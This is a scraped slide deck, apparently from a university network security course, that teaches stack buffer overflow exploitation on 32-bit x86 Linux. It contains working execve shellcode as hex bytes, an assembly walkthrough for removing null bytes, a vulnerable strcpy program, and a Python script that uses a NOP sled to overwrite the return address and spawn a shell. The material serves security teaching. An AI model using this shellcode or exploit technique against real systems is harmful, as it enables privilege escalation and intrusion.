Download presentation
Presentation is loading. Please wait.
1
Foundations of Network and Computer Security
John Black CSCI 6268/TLEN 5550, Spring 2015
2
Buffer Overflows Biggest Vulnerability of 1997-2007 (or so)
A lot of mitigation nowadays But still relevant since Older systems abound There are ways around the mitigation sometimes GHOST (2015) exploited buffer overflow on a 64-bit machine with all countermeasures Other vulns are now more popular Esp web-based attacks which are often easier to find, understand, and exploit
3
Buffer Overflows (cont)
This topic is highly technical We assume you’ve had a course in assembler Or you have x86 assembly experience somehow Google “x86 assembler tutorial” if you need a refresher You should have also used gdb before There is a quick reference and a manual on our course page
4
Example Why does C have so many poorly-designed library functions?
main(int argc, char **argv) { char filename[256]; if (argc == 2) strcpy(filename, argv[1]); . Why does C have so many poorly-designed library functions? strcpy(), strcat(), sprintf(), gets(), etc…
5
Memory Organization Text (ie, Program Code)
Data (Initialized static/globals) BSS (Uninitialized static/globals) Heap stack env
6
Stack Frame (Activation Record)
example1.c: void function(int a, int b, int c) { char buffer1[8]; char buffer2[16]; } void main() { function(1,2,3); $ gcc -g -mpreferred-stack-boundary=2 -fno-stack-protector -o example1 example1.c align stack to 22 = 4 byte boundary (this is how binaries are compiled on our class machine) disable canaries
7
Disassembly, example1 (att)
main: 0x080483a3 <main+3>: sub $0x10,%esp 0x080483a6 <main+6>: movl $0x3,0x8(%esp) 0x080483ae <main+14>: movl $0x2,0x4(%esp) 0x080483b6 <main+22>: movl $0x1,(%esp) 0x080483bd <main+29>: call 0x <function> lower addrs %esp $0x1 0x4(%esp) $0x2 0x8(%esp) $0x3 0xc(%esp) N/A original %esp (before sub) Equivalent to push $dummy push 0x3 push 0x2 push 0x1 higher addrs
8
Digression: att vs intel
In gdb, (gdb) set disassembly-flavor intel gdb used to support only att, gcc uses it exclusively (though –masm=intel works on some platforms these days) Most hackers use att, but can speak intel when necessary
9
function() 0x08048394 <function+0>: push %ebp // save %ebp
0x <function+1>: mov %esp,%ebp // set new %ebp from %esp 0x <function+3>: sub $0x18,%esp // make 24 bytes of room // on stack for locals 0x e <function+10>: leave // clean up %ebp, %esp 0x f <function+11>: ret mov %ebp, %esp // clean-up code and exit pop %ebp the above would be a little different with canaries (ie, without the –fno-stack-protector compiler option) ”leave” is equivalent to mov %ebp, %esp pop %ebp
10
Stack at time of function() call
buffer2 (and %esp) 0xbffff7f8 0xbffff7fc 0xbffff800 0xbffff804 buffer1 0xbffff808 0xbffff80c sfp saved %ebp 0xbffff810 ret ret addr 0xbffff814 a 0x1 0xbffff818 b 0x2 0xbffff81c c 0x3 0xbffff820 Note: buffers 1 and 2 start out uninitialized The ordering on the stack is NOT guaranteed to follow order of declarations
11
example3.c void function(int a, int b, int c) { char buffer1[8]; char buffer2[16]; int *ret; ret = buffer1 + 16; // set “ret” to point at the ret addr (*ret) += 7; // return 7 bytes later in text seg } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); we’re directly overwriting the return address to illustrate program-flow an attacker can’t do this of course
12
Overflowing buffer1 buffer2 (and %esp) 0xbffff7f8 0xbffff7fc
0xbffff80c sfp saved %ebp 0xbffff810 ret ret addr 0xbffff814 a 0x1 0xbffff818 b 0x2 0xbffff81c c 0x3 0xbffff820 If data are copied into buffer1 and the data are more than 8 bytes, an overflow occurs into the fields below the buffer’s area on the stack When function returns, it will go to the overwritten address specified by the attacker
13
Controlling the ret addr
If we overflow a buffer, we can control the return address This is extremely powerful Can jump to other parts of the code Code that enables privs Code that prints sensitive info Code that just crashes (crash DNS, eg) Can jump to our own code! Assuming we can inject code… usually possible This is usually called “shellcode”
14
Shellcode Depending on the context, “shellcode” can do various things
Spawn a shell (that’s where the name comes from) This assumes you have a tty attached to the victim This assumes your injection doesn’t terminate with ^D Open a bind shell Open a reverse shell Add a user to the system Run a specific program
15
Let’s just spawn a shell
fork or exec? Might as well exec since we don’t usually care about the parent exit after exec? Commonly seen, metasploit has the option, but seems unnecessary to me what format should code be in? Machine code, no question
16
shellcode.c: calling exec()
Write in C, compile, extract assembly into machine code: #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } gcc -o shellcode -g -static shellcode.c execve looks here for executable argc is derived from length of this array; argv IS this array (but it must be copied… why?). NULL would work here just fine we leave envp NULL for now why didn’t I include the compiler options used before?
17
Shellcode Synopsis Have the null terminated string "/bin/sh" somewhere in memory. Have the address of the string "/bin/sh" somewhere in memory followed by a NULL long word. Copy 0xb into the EAX register. Copy the address of the string "/bin/sh” into the EBX register. Copy the address of the address of the string "/bin/sh" into the ECX register. Copy the address of the null long word into the EDX register. Execute the int $0x80 instruction.
18
Writing Shellcode movl string_addr, string_addr_addr movb $0x0, null_byte_addr movl $0x0, null_string movl $0xb,%eax movl string_addr, %ebx leal string_addr, %ecx leal null_string, %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx /bin/sh string goes here
19
One Problem: Where is the /bin/sh string in memory?
We don’t know the address of buffer So we don’t know the address of the string “/bin/sh” We want our shellcode to be relocatable A trick to find it: JMP to the end of the code and CALL back to the start These can use relative addressing modes The CALL will put the return address on the stack and this will be the absolute address of the string We will pop this string into a register! To illustrate, assume our shellcode is injected on the stack
20
Shellcode on the stack 4 bytes a 1 b 2 4 bytes 3 4 bytes c buffer
JJSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSCCsssssssssssssssssssss ret Jump to Shell Code 4 bytes a 1 b 2 4 bytes 3 4 bytes c
21
Our shellcode AAAABBBB only for illustrative
start: jmp mcall ajmp: pop %ebx // ebx holds str_addr mov $0x0, %eax mov %al,0x7(%ebx) // null terminator mov %ebx,0x8(%ebx) // put str_addr at AAAA mov %eax,0xc(%ebx) // put 0000 at BBBB mov $0xb,%eax // kernel code for execve lea 0x8(%ebx),%ecx // ptr to array of ptrs (argv) lea 0xc(%ebx),%edx // ptr to 0000 (envp) int $0x80 mcall: call ajmp str_addr: “/bin/shxAAAABBBB” AAAABBBB only for illustrative purposes; not needed in shellcode but the memory has to be available to be overwritten
22
inline.c main() { __asm__( " jmp mcall \n\t" "ajmp: pop %ebx \n\t" " mov $0x0, %eax \n\t" " mov %al,0x7(%ebx) \n\t" " mov %ebx,0x8(%ebx) \n\t" " mov %eax,0xc(%ebx) \n\t" " mov $0xb,%eax \n\t" " lea 0x8(%ebx),%ecx \n\t" " lea 0xc(%ebx),%edx \n\t" " int $0x80 \n\t" "mcall: call ajmp \n\t" " .string \"/bin/sh\"" ); } assembler will automatically use relative jmp/call
23
dataseg.c: put shellcode into .data
(gdb) x/80xb the inline code to get the bytes for sc[] here, or $ objdump –D | grep –A40 main.: | less char sc[] = "\xeb\x1c\x5b\xb8\x00\x00\x00\x00\x88\x43\x07\x89\x5b\x08\x89\x43" "\x0c\xb8\x0b\x00\x00\x00\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xdf" "\xff\xff\xff/bin/sh/xAAAABBBB"; main() { int *ret; ret = (int *)&ret+2; *ret = (int)sc; } $ ./dataseg sh4.2 $ disassemble all sections, even data we have to include the xAAAABBBB this time; the memory wouldn’t be allocated otherwise, and this causes the code to fail
24
Next Problem… strcpy strcpy, strcat, etc… all stop operating at the first NULL byte Our shellcode contains zeroes we need to get rid of them metasploit can do this for you (use a “filter”), along with any other bytes you don’t want up to a limit, I assume some shellcode has to be ASCII, or worse, [0-9][A-Z][a-z] Just eliminating zeros isn’t too hard
25
Getting rid of zeroes <main>: : 55 push %ebp : 89 e5 mov %esp,%ebp : 83 ec 04 sub $0x4,%esp a: eb 1c jmp 80483b8 <mcall> c: 5b pop %ebx d: b mov $0x0,%eax 80483a2: mov %al,0x7(%ebx) 80483a5: 89 5b 08 mov %ebx,0x8(%ebx) 80483a8: c mov %eax,0xc(%ebx) 80483ab: b8 0b mov $0xb,%eax 80483b0: 8d 4b 08 lea 0x8(%ebx),%ecx 80483b3: 8d 53 0c lea 0xc(%ebx),%edx 80483b6: cd 80 int $0x b8: e8 df ff ff ff call c <ajmp> 80483bd: 2f das 80483be: e bound %ebp,0x6e(%ecx) 80483c1: 2f das 80483c2: jae c
26
Changing two offending instructions
b mov $0x0,%eax 31 c0 xor %eax,%eax b8 0b mov $0xb,%eax b0 0b mov $0xb,%al We eliminate the zeros while making the shellcode shorter at the same time!
27
dataseg2.c: amend two instructions
char sc[] = "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43" "\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5" "\xff\xff\xff/bin/sh/xAAAABBBB"; main() { int *ret; ret = (int *)&ret+2; *ret = (int)sc; } $ ./dataseg2 sh4.2 $ we change the 2 instructions and adjust our jmp and call offsets still works! Our shellcode is 46 bytes
28
We’re Done! Well… We have zero-less shellcode It’s relocatable
We just need to inject it into a privileged victim and we can escalate with the spawned shell Victim must be attached to your tty (both stdin and stdout) You must be able to inject without an EOF Pipes often won’t work Often you would run a different command than /bin/sh Consider modifying our shellcode to run l33t instead
29
Injection Options The most obvious and natural place is to inject into the buffer we’re overflowing That’s the example we’ve been working with This assume that the buffer will not be modified before the function returns We could inject after the ret addr too, but you will overwrite function parameters Could mean you crash or have your shellcode modified before function returns Let’s look at the methodology It’s much easier to accomplish when you have source code alongside the binary victim on the local machine Remote/blind exploits are much harder
30
victim.c main(int argc, char **argv) { char filename[256]; if (argc == 2) strcpy(filename, argv[1]); } Obvious buffer overflow due to use of strcpy() instead of strncpy() We’ll inject onto the stack, but where is the stack? We need address to jump to, so we can overwrite the return address with it
31
Typical Stack Ptr Values
For a 32-bit machine Without ASLR echo 1 > /proc/sys/kernel/randomize_va_space grep stack /proc/self/maps ASLR is off on class machine Increasingly on by default these days Means you have to do a LOT more guessing On 64-bit machines it becomes very hard Stack ends near 0xc on our machine gdb may slightly perturb this value In particular, the length of the program’s name has an effect
32
Poking around… $ gdb -q victim (gdb) b main Breakpoint 1 at 0x80483cd: file victim.c, line 9. (gdb) r AAAAAAA Starting program: /home/jrblack/shellcode/victim AAAAAAA Breakpoint 1, main (argc=2, argv=0xbffff8a4) at victim.c:9 9 if (argc == 2) (gdb) n 10 strcpy(filename, argv[1]); 11 } (gdb) x/4x filename 0xbffff718: 0x x x080481d0 0x
33
Find addresses ret addr is at 0xbffff81c
(gdb) p &filename[0] $1 = 0xbffff718 "AAAAAAA” (gdb) p &filename[256] $2 = 0xbffff818 "x▒▒▒u▒▒\002" (gdb) x/4 0xbffff818 0xbffff818: 0xbffff878 0xb7e8d775 0x xbffff8a4 ret addr is at 0xbffff81c So we need to fill the buffer with shellcode, then whatever, then with the address 0xbffff718 starting 260 bytes into the buffer
34
I use Python bash, perl, C all work fine
$ cat sc.py #!/usr/bin/python sc = \ "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43" +\ "\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5" +\ "\xff\xff\xff/bin/sh/xAAAABBBB" print sc + "A"*(256-len(sc))+"AAAA"+"\x18\xf7\xff\xbf"; $ ./victim $(./sc.py) Illegal Instruction $ Let’s use gdb: gdb victim, b main, r $(./sc.py)
35
Note: addresses found in gdb are only approximate
Ok trying 0xbffff618 $ ./victim $(./sc.py) Segmentation fault $ Ok, this isn’t working… larger arg size is shifting buffer Introducing, “xchg %eax, %eax” Does nothing, doesn’t even touch flag reg Op code is 0x90 Aka “NOP” Let’s add a “NOP sled” to the front of our shellcode print "\x90"*(256-len(sc))+sc+"AAAA"+"\x18\xf7\xff\xbf"; changed back to 0xbffff718 since that’s about the midpoint of the sled
36
Going Sledding… start buffer: \x90\x90\x90… . . . . . . shellcode
\xeb\x16\x31 \xc0\xb0\x0b end of buffer: /bin/shxAAAABBBB saved bp AAAA ret address addr Size of sled will depend on buffer space available If addr points ANYwhere among these NOP bytes, we win
37
Moral of the Story Get really good at the debugger
Be persistent/obsessive Pick up some Unix Programming skills along the way You can get by glossing over them, but don’t
38
Get your gdbfu on These are the commands I use most often in gdb
b func, b line#, b *<addr> i r [reg_name] where, bt x/##<f><s> addr ## is decimal <f> is o, x, d, u, t, f, a, i, c, s <s> is b, h, w, g p/same expr gdb is a hex/octal/decimal calculator (almost binary too) l func/lineno disas func/lineno/addr Note gdb won’t let you disas some memory; use x/##i addr
39
More gdbfu And… lmgtfy help <cmd> r <args> cont
n, ni, s, si <enter> <tab> set follow-fork-mode child cond <br#> expr set {int}addr=val lmgtfy
40
Hey, wait… can’t I just gdb the victim?
You can gdb the victim binaries, but… They’re stripped at times nm, strip They drop euid/egid because of ptrace (see next slide) Often not a bad idea in order to get more accurate addresses Still gdb perturbs things, so use a sled or put your exploit in a fork loop I often still rebuild the source and operate locally so I can have –g victims don’t have –g turned on
41
man ptrace PT_ATTACH This request allows a process to gain control of an otherwise unrelated process and begin tracing it. It does not need any cooperation from the to-be-traced process. In this case, pid specifies the process ID of the to-be-traced process, and the other two arguments are ignored. This request requires that the target process must have the same real UID as the tracing process, and that it must not be executing a setuid or setgid executable. (If the tracing process is running as root, these restrictions do not apply.) The tracing process will see the newly-traced process stop and may then control it as if it had been traced all along. Three other restrictions apply to all tracing processes, even those running as root. First, no process may trace a system process. Second, no process may trace the process running init(8). Third, if a process has its root directory set with chroot(2), it may not trace another process unless that process's root directory is at or below the tracing process's root.
Similar presentations
© 2024 SlidePlayer.com. Inc.
All rights reserved.